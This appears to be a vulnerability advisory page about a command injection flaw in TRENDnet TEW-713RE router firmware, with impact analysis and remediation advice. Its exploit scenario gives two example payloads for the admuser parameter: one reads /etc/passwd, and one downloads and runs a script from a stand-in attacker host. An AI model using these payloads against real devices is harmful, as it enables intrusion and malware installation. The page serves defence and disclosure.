1 technique across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | The CVSS 6.3 score reflects a network-accessible vulnerability requiring low privileges (authenticated access) with low complexity, conferring limited confidentiality, integrity, and availability impact. The EPSS evidence of public exploit availability (E:P) and reproducible conditions (RC:R) elevate real-world risk beyond the base score. However, the PR:L (low privileges required) constraint means an attacker must first authenticate to the device-likely requiring valid administrative credentials or successful exploitation of a separate authentication bypass. The lack of vendor response and confirmed actively exploited status (KEV data not provided) suggests this is a research-stage vulnerability with documented proof-of-concept rather than an immediately weaponized threat in the wild. For organizations with exposed TRENDnet TEW-713RE devices on untrusted networks or with weak administrative credentials, this represents moderate priority; for isolated home/office networks with strong credentials, priority is lower but the absence of patches makes it a persistent risk. |
| Exploit ScenarioDerived | An attacker with valid administrative credentials (obtained through credential theft, phishing, or prior compromise) authenticates to the TRENDnet TEW-713RE web interface and submits a crafted POST request to /goform/setSysAdm with a malicious payload in the admuser parameter, such as 'admin; cat /etc/passwd' or 'admin && wget http://attacker.com/malware.sh && sh malware.sh'. The unvalidated input is passed directly to a shell command, allowing the attacker to execute arbitrary commands with the privileges of the web server process. Publicly available exploit code on GitHub demonstrates this attack path and lowers the barrier to exploitation beyond skilled attackers. |

Alert meAnalysisAIv1 – Mar 31, 2026
Remote command injection in TRENDnet TEW-713RE firmware up to version 1.02 allows authenticated remote attackers to execute arbitrary commands via the admuser parameter in the /goform/setSysAdm endpoint. Publicly available exploit code exists, and the vendor has not responded to early disclosure attempts, leaving all affected devices without a vendor-released patch.
RemediationAI
No vendor-released patch has been identified at time of analysis. TRENDnet was contacted early but has not responded or published a fix. For immediate risk mitigation, restrict network access to the router's web administration interface using firewall rules, ensure only trusted administrator accounts have access, enforce strong administrative passwords, and consider disabling remote administration features if not required. Monitor for suspicious activity on the /goform/setSysAdm endpoint. Organizations should contact TRENDnet support to inquire about firmware updates or consider replacing the device if administrative access cannot be adequately restricted.

Technical ContextAI · show details
The vulnerability exists in the web administration interface of the TRENDnet TEW-713RE router. The /goform/setSysAdm endpoint processes user-supplied input from the admuser parameter without proper input validation or sanitization, leading to command injection (CWE-77). The vulnerable code path accepts the admuser argument and passes it directly to a system command execution function, allowing an authenticated attacker to break out of the intended command context and inject arbitrary shell metacharacters and commands. This is a classic OS command injection flaw where user input is concatenated into a system call without escaping or parameterization.
